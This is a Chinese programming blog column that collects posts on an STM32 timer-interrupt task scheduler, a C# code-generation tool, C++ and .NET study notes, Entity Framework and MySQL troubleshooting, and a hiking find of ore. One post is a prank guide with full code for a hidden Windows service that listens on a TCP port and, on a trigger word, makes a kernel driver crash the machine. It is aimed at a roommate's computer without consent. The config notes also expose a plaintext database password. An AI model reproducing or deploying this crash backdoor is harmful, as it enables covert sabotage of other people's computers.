张静茹的专栏    
张静茹的专栏
版主:张静茹关注:3粉丝:2



首先介绍几个寄存器,这几个寄存器只能在汇编或内联汇编时才能访问,C语言是访问不到的 R0-R12,都可作为临时变量存储,跟C语言的变量差不多,不过汇编中的存储变量是用寄存器,而且不用声明,全局可见,不分全局和局部,而且是32位的 比如想计算1+1,结果放在r0中 mov r0,0x01 add r0,0x01 图片来自互联网,互联网来自<<Cortex-M3权威指南>> R13(MSP/PSP)堆栈寄存器,汇编指令PUSH,POP会影响R13的值, PUSH {R0} //R0的值将被压入栈内 R13-4 POP{R1}    //将SP所指向的内存赋值给R1 SP+4 R14 :是连接寄存器(LR),用于在调用子程序时存储返回地址,应该是不能用mov mrs msr访问的,只能用pop push保存 R15 是程序计数器(PC),每条指令前都对应一个地址,把这个地址赋值给R15,程序就立即跳过去执行地址对应的程序 xRPS特殊功能寄存器组 详细内容请参考<< Cortex-M3权威指南>> 之前用过UCOS,可是他每个死循环任务下面必须有一个延时函数,才可以把调度权限交还给系统,自然这个延时函数上面也不可以有死循环, 不然将永远卡在死循环上,别的任务也就不能再被调用了 int main(void) {           GPIO_InitTypeDef  GPIO_InitStructure;                          Stm32_Clock_Init(9); //系统时钟设置     delay_init(72);      //延时初始化     uart_init(72,9600);  //串口初始化为9600     LED_Init();          //初始化与LED连接的硬件接口       SysTick_Configuration();     OSInit();     OSTaskCreate( TaskStart,    //task pointer                     (void *)0,  //parameter                     (OS_STK *)&TASK_START_STK[START_STK_SIZE-1],    //task stack top pointer                     START_TASK_Prio );  //task priority                              OSStart();     return 0;       } //开始任务 void TaskStart(void * pdata) {     pdata = pdata;     OS_ENTER_CRITICAL();       OSTaskCreate(TaskLed, (void * )0, (OS_STK *)&TASK_LED_STK[LED_STK_SIZE-1], LED_TASK_Prio);     OSTaskCreate(TaskLed1, (void * )0, (OS_STK *)&TASK_LED1_STK[LED1_STK_SIZE-1], LED1_TASK_Prio);     OSTaskSuspend(START_TASK_Prio); //suspend but not delete     OS_EXIT_CRITICAL(); } //任务1 //控制DS0的亮灭. void TaskLed(void *pdata) {     while(1)     {         LED0 = !LED0;         OSTimeDlyHMSM(0,0,1,100);       } } //任务2 //控制DS1的亮灭. void TaskLed1(void *pdata) {     while(1)     {         LED1 = !LED1;         OSTimeDlyHMSM(0,0,1,300);       } } 正文开始: 我写的这个调度系统是用stm32 定时器中断调度任务的,任务中不需要ucos那种延时函数,定时器每隔一段时间中断当前任务,保存现场,恢复第二个任务的现场,这时PC寄存器被改为第二个任务上次中断前执行的位置然后退出中断,,从任务二上次中断前的位置继续执行 调度原理: 参考<<Cortex-M3权威指南>>中 第九章 中断的具体行为 当 C M 3 开始响应一个中断时内核会自动 把 8个寄存器(R0-R3,R12,LR,PC,xPSR)的值压入栈,最关键的是PC,他直接决定了中断退出以后开始执行的位置,R0-R3,R12则保存了一些中间变量,保证了恢复现场以后程序正确执行 程序流程:                                                                       标志:↓↓↓ 进入main() ----> 初始化GPIO,时钟,定时器,开中断 ---->进入任务0 ---->定时器中断时间到 ---->开始进入中断 ---->系统自动 把 8 个寄存器(R0-R3,R12,LR,PC,xPSR)的值压入栈 ---->进入中断函数TIM3_IRQHandler (此时SP堆栈指针正指向R0,R0+4后,指向R1) TIM3_IRQHandler PROC         PUSH     {r4,lr}         MRS      r4,MSP         MOV      r0,r4         ADD      r0,r0,#8         MOV      r4,r0         LDR      r0,|L0.640|         STR      r4,[r0,#0]         BL       IRQHandler         POP      {r4,pc}         ENDP   -----> 生成汇编文件后可以看到,进入 TIM3_IRQHandler函数先把R4和LR压栈(这是编译器自动做的),MSP堆栈指针 - 8   -----> MRS      r4,MSP 保存栈指针    ----->指针+8(对前面R4和LR的补偿)对准 8个被自动压栈的寄存器的R0    ----->保存指针到全局变量 Address_BASE    -----> bl    IRQHandler  调用任务调度程序    -----> 清除 中断待处理位    ----->根据之前保存的栈地址,加载8个寄存器保存当前任务现场    ----->    调用任务二的地址----->   task->Start_Next(); 更新任务标志----->    退出中断 并 恢复被修改了返回地址的8个寄存器 ----->    执行任务1 ----->    定时器中断时间到 ---->进入中断   -----> 保存任务1现场----->    恢复任务0  ----->退出中断   -----> goto 标志; #include "../h/main.h"                  extern Task *task; int main(void) {                      task = new Task(); //创建任务管理对象 这是一个C++类对象                          Init();//初始化 时钟 串口 GPIO     Timerx_Init(20,7199);//初始化TIM3,开中断,每2ms进一次中断     TIM3->CNT = 0x01;//意义不明 不要也行     __asm  //內联汇编     {         bl Task0 //跳转到任务1     } //  while (true); //  delete task; } int temp = 0; void Task0(void) //任务1 {     while (true)     {         LED0 = !LED0;     } }                  void Task1(void) //任务2 {     while (true)     {         LED1 = !LED1;     } } class Task //任务管理类 { public:Task(void) //构造函数,初始化时会自动调用     {         Reg_Buff[0][6]=((unsigned int)&Task0) ; //初始化任务0的指针         Reg_Buff[1][6]=((unsigned int)&Task1) ; //初始化任务1的指针         Reg_Buff[0][6]=Reg_Buff[1][7]=0x61000000 ; //初始化xRSP                          Current = 0;         Next = 1;     }     public: static const unsigned char Count = Task_Count;     public: unsigned char Current; //当前任务     public: unsigned char Next ;    //下一个任务     public: volatile unsigned int Reg_Buff[Task_Count][8];     public: void    Start_Next() //更新至下一个任务     {         (Current + 1 < Count) ? Current++ : Current = 0;         (Next + 1 < Count) ? Next++ : Next = 0;                  //      if (Next != 0 && (Next - Current) != 1) //      { //          while (true) //          {                  //          } //      }     }                  }; Task *task ; unsigned int Address_BASE = 0;                  void IRQHandler(void) {                          if(TIM_GetITStatus(TIM3, TIM_IT_Update) != RESET) //检查指定的TIM中断发生与否:TIM 中断源     {         TIM_ClearITPendingBit(TIM3, TIM_IT_Update);  //清除TIMx的中断待处理位:TIM 中断源         __asm         {             ldr r5, [Address_BASE]               str r5, [&task->Reg_Buff[task->Current][0]]//R0                              ldr r5, [Address_BASE , 0x4]             str r5, [&task->Reg_Buff[task->Current][1]]//R1                              ldr r5, [Address_BASE , 0x8]             str r5, [&task->Reg_Buff[task->Current][2]]//R2                              ldr r5, [Address_BASE , 0xc]             str r5, [&task->Reg_Buff[task->Current][3]]//R3                              ldr r5, [Address_BASE , 0x10]             str r5, [&task->Reg_Buff[task->Current][4]]//R12                  //          ldr r5, [Address_BASE , 0x14] //          str r5, [&task->Reg_Buff[task->Current][5]]//R13 LR                              ldr r5, [Address_BASE , 0x18]                              str r5, [&task->Reg_Buff[task->Current][6]]//R14 PC                              ldr r5, [Address_BASE , 0x1c]             str r5, [&task->Reg_Buff[task->Current][7]]//R15 xRSP                                          /*↑↑↑保存当然运行中的任务现场↑↑↑*/                              ldr r5, [&task->Reg_Buff[task->Next][0]]//R0             str r5, [Address_BASE]                              ldr r5, [&task->Reg_Buff[task->Next][1]]//R1             str r5, [Address_BASE, 0x4]                              ldr r5, [&task->Reg_Buff[task->Next][2]]//R2             str r5, [Address_BASE, 0x8]                              ldr r5, [&task->Reg_Buff[task->Next][3]]//R3             str r5, [Address_BASE, 0xc]                              ldr r5, [&task->Reg_Buff[task->Next][4]]//R12             str r5, [Address_BASE, 0x10]                  //          ldr r5, [&task->Reg_Buff[task->Next][5]]//R13 LR //          str r5, [Address_BASE, 0x14]                              ldr r5, [&task->Reg_Buff[task->Next][6]]//R14 PC             //orr r5, 0x01             str r5, [Address_BASE, 0x18]                              ldr r5, [&task->Reg_Buff[task->Next][7]]//R15 xRSP             str r5, [Address_BASE, 0x1c]             /*↑↑↑恢复上一个任务的现场↑↑↑*/         }         task->Start_Next(); //下一个任务     } } extern "C" {     void TIM3_IRQHandler(void)   //TIM3中断  中断中不能有太多东西,否则进中断时压栈太多 MSP不容易计算     {         __ASM         {             mrs r4, msp             add r4, 0x08             str r4, [&Address_BASE]             bl    IRQHandler         }     }                  }



很简单的东西 用于批量生产代码 Buttons LeftThumbX LeftThumbY LeftTrigger RightThumbX RightThumbY RightTrigger <TextBlock Text="{0} = " /> <TextBlock Text="{{Binding {0}}}"/> <StackPanel Grid.Column="0"> <TextBlock Text="Buttons = " /> <TextBlock Text="LeftThumbX = " /> <TextBlock Text="LeftThumbY = " /> <TextBlock Text="LeftTrigger = " /> <TextBlock Text="RightThumbX = " /> <TextBlock Text="RightThumbY = " /> <TextBlock Text="RightTrigger = " /> </StackPanel> <StackPanel Grid.Column="1"> <TextBlock Text="{Binding Buttons}"/> <TextBlock Text="{Binding LeftThumbX}"/> <TextBlock Text="{Binding LeftThumbY}"/> <TextBlock Text="{Binding LeftTrigger}"/> <TextBlock Text="{Binding RightThumbX}"/> <TextBlock Text="{Binding RightThumbY}"/> <TextBlock Text="{Binding RightTrigger}"/> </StackPanel> namespace CodeTemplate { class Program { static void Main(string[] args) { var Input = string.Empty; while (true) { Input = Console.ReadLine(); switch (Input.ToLower()) { case "?": Help.Instance.Write(); break; case "c": case "cls": Console.Clear(); break; case "t": case "template": Console.Clear(); Template.Instance.ReadTemplate(); Console.Clear(); break; default: ClearCurrentConsoleLine(); BuildCode.Instance.Read(Input); break; } } } public static void ClearCurrentConsoleLine() { int currentLineCursor = Console.CursorTop - 1; Console.SetCursorPosition(0, currentLineCursor); Console.Write(new string(' ', Console.WindowWidth)); Console.SetCursorPosition(0, currentLineCursor); } } } class Template { static Template _Instance = new Template(); public static Template Instance { get { return _Instance; } } private Template() { } public void ReadTemplate() { Console.WriteLine("请输入 Template"); var input = Console.ReadLine(); var Template = new StringBuilder(); while (input != "end" && input != "e") { Template.Append(input); input = Console.ReadLine(); } CodeTemplate = Template.ToString(); } public string CodeTemplate { get; private set; } } class BuildCode { static BuildCode _Instance = new BuildCode(); public static BuildCode Instance { get { return _Instance; } } private BuildCode() { } public void Read(string Input) { try { Console.WriteLine(Template.Instance.CodeTemplate, Input.Split(new char[] { ' ' }, StringSplitOptions.RemoveEmptyEntries)); } catch (Exception ex) { Console.WriteLine(ex.Message); } } }


The operating system uses the value returned by main to determine whether   这个 操作        系统  使用   main    返回的  值                确定           the program succeeded or failed. A return value of 0 indicates success. 程序是      成功     还是 失败   返回的值 是0             表示           成功 操作系统通过 main 函数返回的值来确定程序是否成功执行完毕。返回 0 值表明程序程序成功执行完毕。 The main function is special in various ways, the most important of which are that 这个 main  函数    是 特殊       各方面  方法              最重要         其中     是     the function must exist in every C++ program and it is the (only) function that the 这个 函数    必须  存在  在  每个         程序  和  他是        这  唯一   函数           operating system explicitly calls. 操作          系统    显式      调用 main 函数在很多方面都比较特别,其中最重要的是每个 C++ 程序必须含有 main 函数,且 main 函数是(唯一)被操作系统显式调用的函数。 We define main the same way we define other functions. A function definition 我们 定义 main           同样 方法 我们 定义 其他  函数                一个 函数  定义 specifies four elements: the return type, the function name, 详细说明   四个 元素       返回             类型     函数      名字   a (possibly empty) parameter list enclosed in parentheses, and the function body. 一个 可能    为空   参数       表  封闭的           在  括号           和  这个  函数    体 The main function may have only a restricted set of parameters. 这个  main 函数    可能   只有      有限                  的参数 As defined here, the parameter list is empty; 正如 定义  这里                参数   列表  是 空 Section 7.2.6 (p. 243) will cover the other parameters that can be defined for main. 节                     会    包括      其他  参数            可以   定义     mian 定义 main 函数和定义其他函数一样。定义函数必须指定 4 个元素:返回类型、函数名、圆括号内的形参表(可能为空)和函数体。main 函数的形参个数是有限的。本例中定义的 main 函数形参表为空。第 7.2.6 节将介绍 main 函数中可以定义的其他形参。 The main function is required to have a return type of int, 这个 main 函数     是 必须        有     返回   类型         which is the type that represents integers. 这是           类型          表示            整数 The int type is a built-in type, 这个     类型  是   内置     类型 which means that the type is defined by the language.                         类型 是 定义  由   这个  语言 main 函数的返回值必须是 int 型,该类型表示整数。int 类型是内置类型,即该类型是由 C++ 语言定义的。 The final part of a function definition, the function body,     最后           部分     函数     定义          这个 函数    体 is a block of statements starting with an open curly brace and ending with a close curly: 是  一个阻塞  语句         开始     以    花括号                    结束 函数体函数定义的最后部分,是以花括号开始并以花括号结束的语句块: { return 0; } The only statement in our program is a return, 这里 唯一  语句        我们的 程序           which is a statement that terminates a function.   这个     语句                  终止                函数 例中唯一的语句就是 return,该语句终止函数。 Note the semicolon at the end of the return statement. 注意  这         分号                在这最后                         Semicolons mark the end of most statements in C++. 分红          记号                大多数的  语句 They are easy to overlook, 他       容易     忽略 but when forgotten can lead to mysterious compiler error messages. 但是 当      遗忘   可以 导致   难以理解的  编译           错误   消息 注意 return 语句后面的分号。在 C++ 中多数语句以分号作为结束标记。分号很容易被忽略,而漏写分号将会导致莫名其妙的编译错误信息。

Although we previously made comparisons with Java, IL is actually a bit more ambitious than Java byte code. 虽然我们已经做了比较和Java,IL事实上更有野心比Java字节码 IL is always  Just - in - Time  compiled (known as JIT compilation), whereas Java byte code was often interpreted. IL总是在需要时编译 称为Jit编译器,尽管Java字节码常常是解释型 One of the disadvantages of Java was that, on execution, the process of translating from Java byte code to native executable resulted in a loss of performance 这是Java的一个缺点,在执行时这个解释处理从java字节码到本地可执行结果导致性能下降 (with the exception of more recent cases, where Java is JIT compiled on certain platforms).   除了java在某些平台上编译 Instead of compiling the entire application in one go (which could lead to a slow startup time), 而不是一次编译整个应用程序(可能会导致启动缓慢) the JIT compiler simply compiles each portion of code as it is called (just in time). Jit 编辑器仅仅编译被调用的代码 When code has been compiled once, 当代码已经被编译过一次 the resultant native executable is stored until the application exits so that it does not need to be recompiled the next time that portion of code is run. 本地可执行的编译结果结果会被存储一直到到应用程序应用程序退出,所以不需要重新编辑代码下一次运行时 Microsoft argues that this process is more efficient than compiling the entire application code at the start, 微软人为这样处理时更有效率比编译整个应用程序启动的时候 because of the likelihood that large portions of any application code will not actually be executed in any given run. 可能的原因是 大部分应用程序代码不会执行 Using the JIT compiler, such code will never be compiled. 使用Jit编译器,这样的代码永远不会被编译




代会员@mark33发帖 矿石是会员mark33挖的,查水表嫑查到我头上啊!! 正文: 简单的说一下石头来源吧,和朋友一起去登山,位置很偏远,先到了一个小镇上,再从小镇往山里走的公路上山,走了大概有10公里就没路了,然后我们就下车步行了大概20公里吧,到达了矿脉所在的位置,这个位置距离上山的路大概有20公里,距离乡村公路边上大概有30公里,说了这么多就是为了说明这个地方鸟不拉屎,非常偏远,正宗的深山老林里面了,从我们开始步行就遇到过一个放羊的,就再也没遇到过一个人类,来到矿脉所在地时,看见有一个山泉冲刷出来的河滩,河滩上有很多石头,原本的目的是为了想捡两块化石回去留个纪念,然后在寻找化石的过程中发现了该矿石,然后顺着河滩水源寻找,找到了该矿脉,已经算是富矿了,含量非常可观,遍地都是该矿石的原石,原石上就有金属光泽的小矿石镶嵌,剥开原石,原石内部的断层上面还有很多,然后不光是在地上可以找到该矿石的原石,在矿脉的山体断层的泥巴里面也有该矿石的原石,同时在周围发现了类似于“硫磺”,“火山岩”,还有一种非常重的,类似于铁一样的石头的东西,我也只是登山爱好者,不了解矿产,不确定到底是不是硫磺或者火山岩,我说的硫磺是一种像硫磺粉一样的颜色的粉末状石头,火山岩是一种像烧了很久都烧变形了缩成一团的铁一样的东西,还有一种就是略微带青色颜色较深的石头,非常重,抬起来感觉像铁一样,不过是石头,大概也只能回忆起这些细节了。


室友打游戏 放音乐很烦人,还劝不听?怎么办,继续往下看,让他在玩的最嗨的时候突然蓝屏~~~~ 普通Ring3权限的软件不容易导致蓝屏,Ring0权限下就简单了,随便用指针乱指就行了 比如 int *p; p = 0x100; (*p) = 0x100; 在ring3全权限下执行你只会得到一个异常,ring0下执行就会蓝屏啦 解释一下什么时Ring0权限 Intel的x86处理器是通过Ring级别来进行访问控制的,级别共分4层,RING0,RING1,RING2,RING3。Windows只使用其中的两个级别RING0和RING3。RING0层拥有最高的权限,RING3层拥有最低的权限。按照Intel原有的构想,应用程序工作在RING3层,只能访问RING3层的数据,操作系统工作在RING0层,可以访问所有层的数据,而其他驱动程序位于RING1、RING2层,每一层只能访问本层以及权限更低层的数据。如果普通应用程序企图执行RING0指令,则Windows会显示“非法指令”错误信息。尽管有CPU的特权级别作保护,遗憾的是WINDOW98本身漏洞很多,使用Windows 98的系统一天死机n回也是正常的 程序注释已经非常详细了,我就不再多废话了 下面的是C#写的windows服务程序 服务程序挂载到系统之后,随系统自动启动 主要是创建Soctet通信,监听客户端连接,收到指令后启动蓝屏 程序流程基本就是从上到下执行的 [DllImport("DriverAPI.dll")] //C++写的驱动控制函数 入口声明 public static extern UInt32 Blue_bottle(); private static byte[] result = new byte[1024]; private static int myProt = 8889;   //端口 static Socket serverSocket; protected override void OnStart(string[] args)/////       服务程序从此处开始!!!!!! {     string hostname = Dns.GetHostName();//得到本机名       IPHostEntry localhost = Dns.GetHostEntry(hostname);//得到本地所有ip地址            foreach (IPAddress ServerIp in localhost.AddressList)//循环所有得到的ip地址     {         try//异常处理         {             serverSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);//创建一个Socket             serverSocket.Bind(new IPEndPoint(ServerIp, myProt));  //绑定IP地址:端口  如果能绑定说明ip地址可用             break;//跳出循环         }         catch (Exception)         {//如果发生异常则代表ip地址不可用 测试下一个ip地址         }     }     serverSocket.Listen(10);    //设定最多10个排队连接请求     Thread myThread = new Thread(ListenClientConnect);//创建一个新的线程监听客户端连接     myThread.Start();//线程启动 } /// <summary> /// 监听客户端连接 /// </summary> private static void ListenClientConnect() {     while (true)     {         Socket clientSocket = serverSocket.Accept();//监听时会卡在这个函数中 直到有客户端链接         clientSocket.Send(Encoding.Default.GetBytes("欢迎光临\r\n回复:\"哈药三精\"启动蓝瓶程序\r\n"));//给客户端发送消息         Thread receiveThread = new Thread(ReceiveMessage);//初始化接收消息进程         receiveThread.Start(clientSocket);//线程启动,并传进当前连接客户端的socket         //继续监听下一个客户端连接     } } /// <summary> /// 接收消息 /// </summary> /// <param name="clientSocket">已经连接的socket</param> private static void ReceiveMessage(object clientSocket) {     Socket myClientSocket = (Socket)clientSocket;//当前连接客户端的socket     while (true)     {         try         {             //通过clientSocket接收数据             int receiveNumber = myClientSocket.Receive(result); //接收客户端发来的消息 如果没有消息,就一直卡在这个函数里             if (Encoding.Default.GetString(result, 0, receiveNumber).IndexOf("哈药三精") != -1)//查看是否有蓝屏指令             {                 Blue_bottle();//启动蓝屏 这个还是用C++写的 因为C#封装winAPI太麻烦             }             else             {                 myClientSocket.Send(Encoding.Default.GetBytes("回复:\"哈药三精\"启动蓝瓶程序\r\n"));             }             if (myClientSocket.Poll(1000, SelectMode.SelectRead))  //判断客户端是否可读             {                 throw new Exception("链接已经断开");//抛出异常             }         }         catch (Exception )//如果产生任何异常 有可能是客户端已经断开或者出现其他问题 则跳到这里开始执行         {             myClientSocket.Shutdown(SocketShutdown.Both);             myClientSocket.Close();//关闭Socket连接 释放资源             break; //跳出死循环 当前线程结束         }     } } 下面是用C++写的DriverAPI.Dll 当Blue_bottle被windows服务执行后,打开驱动设备,获得设备句柄, WriteFile会触发驱动程序执行WDMWrite派遣函數 #define DEVICE_NAME L"\\\\.\\HelloWDM" void Write(HANDLE hDevice) {     if (hDevice != INVALID_HANDLE_VALUE)     {         int buffer[] = { 1111, 2222, 3333, 4444, 5555 };         DWORD ret = 0;         WriteFile(             hDevice,//文件句柄             buffer,//数据缓存区指针             sizeof(buffer),//你要写的字节数             &ret,//用于保存实际写入字节数的存储区域的指针             NULL//OVERLAPPED结构体指针             );     } } extern "C" DLL_API unsigned int Blue_bottle(void) {     HANDLE hDevice = CreateFile(DEVICE_NAME,//         GENERIC_READ | GENERIC_WRITE, //访问模式(写 / 读)         0,                            //共享模式         NULL,                         //指向安全属性的指针         OPEN_EXISTING,                //如何创建         FILE_ATTRIBUTE_NORMAL,        //文件属性         NULL);                        //用于复制文件句柄     if (hDevice == INVALID_HANDLE_VALUE)     {         return GetLastError();     }     Write(hDevice);     return 0; } 以下是驱动程序 具有Ring0权限 NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, //驱动程序入口 类似main IN PUNICODE_STRING pRegistryPath) {     DbgPrint("Enter DriverEntry\n");     pDriverObject->DriverExtension->AddDevice = HelloWDMAddDevice;     pDriverObject->MajorFunction[IRP_MJ_PNP] = HelloWDMPnp;     pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] =         pDriverObject->MajorFunction[IRP_MJ_CREATE] = HelloWDMDispatchRoutine;     pDriverObject->MajorFunction[IRP_MJ_READ] = HelloWDMRead;     pDriverObject->MajorFunction[IRP_MJ_WRITE] = WDMWrite;  //定义派遣函数  DriverAPI.dll中的Write会触发这个函数执行     pDriverObject->DriverUnload = DriverUnload;     DbgPrint("Leave DriverEntry\n");     return STATUS_SUCCESS; } NTSTATUS WDMWrite(IN PDEVICE_OBJECT fdo, IN PIRP Irp) //DriverAPI.dll中的Write会触发这个函数执行 {     DbgPrint("Enter HelloWDMWrite\n");     __asm_int_3;     NTSTATUS status = STATUS_SUCCESS;     PDEVICE_EXTENSION pdx = (PDEVICE_EXTENSION)fdo->DeviceExtension;//获得设备扩展       PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);//获得irp信息       ULONG ulWrite = 0;//成功Write的字节数       ULONG ulLen = stack->Parameters.Write.Length;//获取caller想要write的字节数       ULONG ulOffset = (ULONG)stack->Parameters.Write.ByteOffset.QuadPart;//获取caller调用(WriteFile)的偏移量       int buffer[5] = { 0 };     //  //把内容copy到驱动的缓冲里面。这里使用的是DO_BUFFERED_IO模式,那么可以从Irp->AssociatedIrp.SystemBuffer获取       //  //内核模式下的地址(系统会将用户模式的缓冲COPY到内核模式的缓冲Irp->AssociatedIrp.SystemBuffer)       RtlCopyMemory(buffer, Irp->AssociatedIrp.SystemBuffer, ulLen);//保存在驱动里面     if (buffer[0] == 1111 && buffer[1] == 2222 && buffer[2] == 3333)     {         KeBugCheck(0x0000009C); //在Ring0权限下才可以执行,会导致蓝屏     }     status = STATUS_SUCCESS;     ulWrite = ulLen;     Irp->IoStatus.Status = status;               //设置IRP的完成状态(成功还是失败)       Irp->IoStatus.Information = ulWrite;     //驱动实际操作了多少字节       IoCompleteRequest(Irp, IO_NO_INCREMENT);    //结束IRP,无需往下面的驱动传递       DbgPrint("Leave HelloWDMWrite, write: %d bytes, offset: %d, input len: %d\n", ulWrite, ulOffset, ulWrite);     return status; }









请确保已经安装下列软件最新版 mysql-connector-net mysql-for-visualstudio 如果你出现了上述问题 重新生成当前解决方案 如果还是有问题 请执行 Install-Package MySql.Data.Entity Install-Package EntityFramework.Extended 如果还是有问题,请将为了entity在visual studio中安装的扩展 全部删掉然后执行 Install-Package EntityFramework Install-Package MySql.Data.Entity Install-Package EntityFramework.Extended 如果还是有问题 请新建一个全新工程 执行: Install-Package EntityFramework Install-Package MySql.Data.Entity Install-Package EntityFramework.Extended app.config <providers>       <provider invariantName="System.Data.SqlClient" type="System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer" />       <provider invariantName="MySql.Data.MySqlClient" type="MySql.Data.MySqlClient.MySqlProviderServices, MySql.Data.Entity.EF6, Version=6.9.8.0, Culture=neutral, PublicKeyToken=c5687fc88969c44d"></provider>     </providers>   </entityFramework>   <system.data>     <DbProviderFactories>       <remove invariant="MySql.Data.MySqlClient" />       <add name="MySQL Data Provider" invariant="MySql.Data.MySqlClient" description=".Net Framework Data Provider for MySQL" type="MySql.Data.MySqlClient.MySqlClientFactory, MySql.Data, Version=6.9.8.0, Culture=neutral, PublicKeyToken=c5687fc88969c44d" />     </DbProviderFactories>   </system.data>   <connectionStrings>     <add name="mysqldbEntities" connectionString="metadata=res://*/Model1.csdl|res://*/Model1.ssdl|res://*/Model1.msl;provider=MySql.Data.MySqlClient;provider connection string="server=127.0.0.1;user id=root;password=jingru;persistsecurityinfo=True;database=mysqldb"" providerName="System.Data.EntityClient" />     <add name="mysqldbEntities1" connectionString="metadata=res://*/TableModel.csdl|res://*/TableModel.ssdl|res://*/TableModel.msl;provider=MySql.Data.MySqlClient;provider connection string="server=127.0.0.1;user id=root;password=jingru;persistsecurityinfo=True;database=mysqldb"" providerName="System.Data.EntityClient" />   </connectionStrings> “TableDetails”中列“IsPrimaryKey”的值为DBNull. Entity Framework连接 MySQL 时:由于出现以下异常,无法生成模型:“表“TableDetails”中列“IsPrimaryKey”的值为DBNull. 解决方案: Execute the following commands in MySQL.    use <<database name>>; set global optimizer_switch='derived_merge=OFF'; 如果还不能用 好像是表里的东西建错了 请仔细检查,我删掉了原来的表 重新建了个简单的表就好了 如果你没有Delete Update 这些扩展方法 请安装 EntityFramework.Extended 执行: Install-Package EntityFramework.Extended 如果你的 EntityFramework.Extensions  Delete Update 发生一个或多个错误 听说原因是因为默认生成的是 mssql语句 mysql不支持 原帖: http://www.cnblogs.com/jerron/p/5092417.html 解决方法 : public partial class CL1000Entities : DbContext {     public CL1000Entities()         : base("name=CL1000Entities")     {                  }                  protected override void OnModelCreating(DbModelBuilder modelBuilder)     {         modelBuilder.HasDefaultSchema(""); //添加         base.OnModelCreating(modelBuilder);//添加     }                  public virtual DbSet<test> test { get; set; } }                               static void Main()         {             EntityFramework.Container container = new EntityFramework.Container();//添加             EntityFramework.Locator.RegisterDefaults(container);//添加             container.Register<EntityFramework.Batch.IBatchRunner>(() => new EntityFramework.Batch.MySqlBatchRunner());//添加             EntityFramework.Locator.SetContainer(container);//添加                        Application.EnableVisualStyles();             Application.SetCompatibleTextRenderingDefault(false);             Application.Run(new Form1());         } 如果出现 基础提供程序在 Open 上失败。可能是你在新建模型的时候选择了 否,从链接字符串中排除敏感数据,我将在应用程序代码中设置此数据 设置方法 打开 app.config <connectionStrings>   <add name="CL1000Entities" connectionString="metadata=res://*/Model1.csdl|res://*/Model1.ssdl|res://*/Model1.msl;provider=MySql.Data.MySqlClient;provider connection string="server=localhost;user id=root;password=xxxx;persistsecurityinfo=True;database=CL1000"" providerName="System.Data.EntityClient" /> </connectionStrings> 在id后面输入 password=xxxx; 或者在你所建立的模型的构造函数中传入 密码 public CL1000Entities()            : base ( "name=CL1000Entities" )        {             base . Database . Connection . ConnectionString = "server=localhost;user id=root;password=xxxxxxxx;persistsecurityinfo=True;database=CL1000" ;        } 更新条目时出错.有关信息请参阅内部异常 这个应该是 你手动修改过数据库字段的类型,需要手动更新你建立的模型文件 打开*.edmx ,空白区域右键->从数据库更新模型 也有可能是 有唯一属性的字段重复了 unable to load the specified metadata resource




digital design and computer architecture 数字设计和计算机体系结构 中文版 正在上传 2楼下载 找了好长时间 也没找到资源,买盗版书的时候 卖家送的电子书 Digital Design and Computer Architecture(英文版),作者:David Money Harris,国外超级经典的EECS方面的教科书,介绍细致,插图生动。是哈佛大学Computer Hardware课程的指定教材。 本书采用流行的教学法,从计算机组成和设计向下至更精细的层次,详细展示如何用Verilog和VHDL构建MIPS微处理器。本书为学生提供了一个很好的机会,使他们可以在现代FPGA上进行大型的数字设计,既能增长学生的专业知识,又能启发学生运用所学知识去解决实际问题。 ——David A. Patterson,《计算机组成与设计》的作者之一 本书采用了一种独特的现代数字设计方法,先介绍数字逻辑门,接着讲述组合电路和时序电路的设计,并以这些基本的数字逻辑设计概念为基础,重点介绍如何设计实际的MIPS处理器。另外,在全书的实例中运用Verilog和VHDL展示基于CAD的电路设计方法和技术。通过本书,读者能够构建自己的微处理器,并能够自顶向下地理解微处理器的工作原理。 本书基于作者丰富的教学和实践经验,以幽默的写作风格展示了最新的数字设计方法。 本书特色 介绍数字逻辑设计的基础知识,并通过设计实际的MIPS微处理器来加强逻辑概念。 在例题部分,分别用两种最流行的硬件描述语言(Verilog和VHDL)给出相应数字系统设计的实现。 通过大量示例,帮助读者加深对关键概念和技术的理解和记忆。 作者简介 David Money Harris 哈维玛德学院工程学副教授。他曾经为英特尔、惠普、Sun等公司设计微处理器。 Sarah L. Harris 哈维玛德学院工程学副教授。她在斯坦福大学获得电子工程博士学位,擅长计算机体系结构设计和系统设计。 出版者的话 相关评论 译者序 前言 第1章 二进制 1 1.1 课程计划 1 1.2 控制复杂性的艺术 1 1.2.1 抽象 1 1.2.2 约束 2 1.2.3 三条原则 3 1.3 数字抽象 4 1.4 数字系统 5 1.4.1 十进制数 5 1.4.2 二进制数 5 1.4.3 十六进制数 6 1.4.4 字节,半字节和全字 8 1.4.5 二进制加法 8 1.4.6 有符号的二进制数 9 1.5 逻辑门 11 1.5.1 非门 12 1.5.2 缓冲 12 1.5.3 与门 12 1.5.4 或门 12 1.5.5 其他二输入逻辑门 12 1.5.6 多输入门 13 1.6 数字抽象之下 14 1.6.1 电源电压 14 1.6.2 逻辑电平 14 1.6.3 噪声容限 15 1.6.4 直流电压传输特性 15 1.6.5 静态约束 16 1.7 CMOS晶体管* 17 1.7.1 半导体 17 1.7.2 二极管 18 1.7.3 电容 18 1.7.4 nMOS和pMOS晶体管 18 1.7.5 CMOS非门 20 1.7.6 其他CMOS逻辑门 20 1.7.7 传输门 22 1.7.8 类nMOS逻辑 22 1.8 功耗* 23 1.9 总结和展望 23 习题 24 第2章 组合逻辑设计 32 2.1 引言 32 2.2 布尔表达式 34 2.2.1 术语 34 2.2.2 与或式 34 2.2.3 或与式 35 2.3 布尔代数 36 2.3.1 公理 36 2.3.2 单变量定理 36 2.3.3 多变量定理 37 2.3.4 定理的统一证明方法 39 2.3.5 等式化简 39 2.4 从逻辑到门 40 2.5 多级组合逻辑 42 2.5.1 减少硬件 43 2.5.2 推气泡 44 2.6 X和Z 45 2.6.1 非法值X 45 2.6.2 浮空值Z 45 2.7 卡诺图 46 2.7.1 画圈的原理 47 2.7.2 卡诺图化简逻辑 48 2.7.3 无关项 50 2.7.4 小结 51 2.8 组合逻辑模块 51 2.8.1 多路选择器 51 2.8.2 译码器 54 2.9 时序 55 2.9.1 传输延迟和最小延迟 56 2.9.2 毛刺 59 2.10 总结 60 习题 61 第3章 时序逻辑设计 65 3.1 引言 65 3.2 锁存器和触发器 65 3.2.1 SR锁存器 66 